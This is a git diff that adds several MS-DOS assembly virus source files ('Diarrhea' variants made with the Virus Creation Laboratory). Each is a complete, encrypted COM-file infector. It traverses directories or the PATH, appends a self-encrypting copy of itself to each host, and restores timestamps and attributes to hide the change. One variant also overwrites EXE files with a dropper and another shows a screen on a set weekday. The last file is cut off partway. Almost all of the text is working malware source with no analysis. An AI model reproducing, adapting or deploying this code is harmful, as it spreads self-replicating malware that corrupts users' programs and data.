0D0h + db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h + db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h + db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h + db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h + db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h + db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h + db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh + db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh + db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h + db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah + db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h + db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DIARRH-C.ASM b/d/DIARRH-C.ASM new file mode 100755 index 0000000..65296a2 --- /dev/null +++ b/d/DIARRH-C.ASM @@ -0,0 +1,427 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 189h + db 0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h + db 065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h + db 02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh + db 06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h + db 069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h + db 020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h + db 06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h + db 020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h + db 053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h + db 075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h + db 02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h + db 000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh + db 021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh + db 021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h + db 041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h + db 0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh + db 0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h + db 04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h + db 0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h + db 0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h + db 011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h + db 067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh + db 0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh + db 05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh + db 0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h + db 080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h + db 0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh + db 021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h + db 0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h + db 0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h + db 087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h + db 0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h + db 0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh + db 0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh + db 003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh + db 021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh + db 003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h + db 0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh + db 006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh + db 000h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DIARRHE4.ASM b/d/DIARRHE4.ASM new file mode 100755 index 0000000..78de483 --- /dev/null +++ b/d/DIARRHE4.ASM @@ -0,0 +1,424 @@ +; DIARRHE4.ASM -- DIARRHEA 4 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea si,[di + data00] ; SI points to data + mov cx,0107h ; Second argument is 263 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + +end00: call search_files ; Find and infect a file + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 DB 15,16,24,24,24,24,24,24,25,3,12,'Ŀ Ŀ Ŀ ' + DB 'Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ ',24 + DB 25,3,'',25,2,'Ĵ',25,2,'',25,3,' Ĵ ' + DB ' Ĵ Ĵ ',25,2,'Ĵ ',24,25,3,'' + DB ' ',25,2,'',25,3,' ' + DB ' o',24,25,19,14,'-GG Allin ' + DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24 + DB 24,24,24,24 + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DIARRHE6.ASM b/d/DIARRHE6.ASM new file mode 100755 index 0000000..fe2d79a --- /dev/null +++ b/d/DIARRHE6.ASM @@ -0,0 +1,452 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + 